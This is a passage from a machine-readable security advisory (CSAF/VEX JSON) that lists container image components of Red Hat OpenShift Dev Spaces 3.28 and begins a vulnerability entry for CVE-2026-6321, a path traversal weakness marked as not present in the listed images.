"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x"
},
"product_reference": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64"
},
"product_reference": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64"
},
"product_reference": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64"
},
"product_reference": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x"
},
"product_reference": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64"
},
"product_reference": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64"
},
"product_reference": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x"
},
"product_reference": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64"
},
"product_reference": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64"
},
"product_reference": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x"
},
"product_reference": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64"
},
"product_reference": "registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64"
},
"product_reference": "registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
},
"product_reference": "registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64"
},
"product_reference": "registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x"
},
"product_reference": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64"
},
"product_reference": "registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64"
},
"product_reference": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x"
},
"product_reference": "registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64"
},
"product_reference": "registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
},
"product_reference": "registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-6321",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-05-04T20:01:14.938426+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
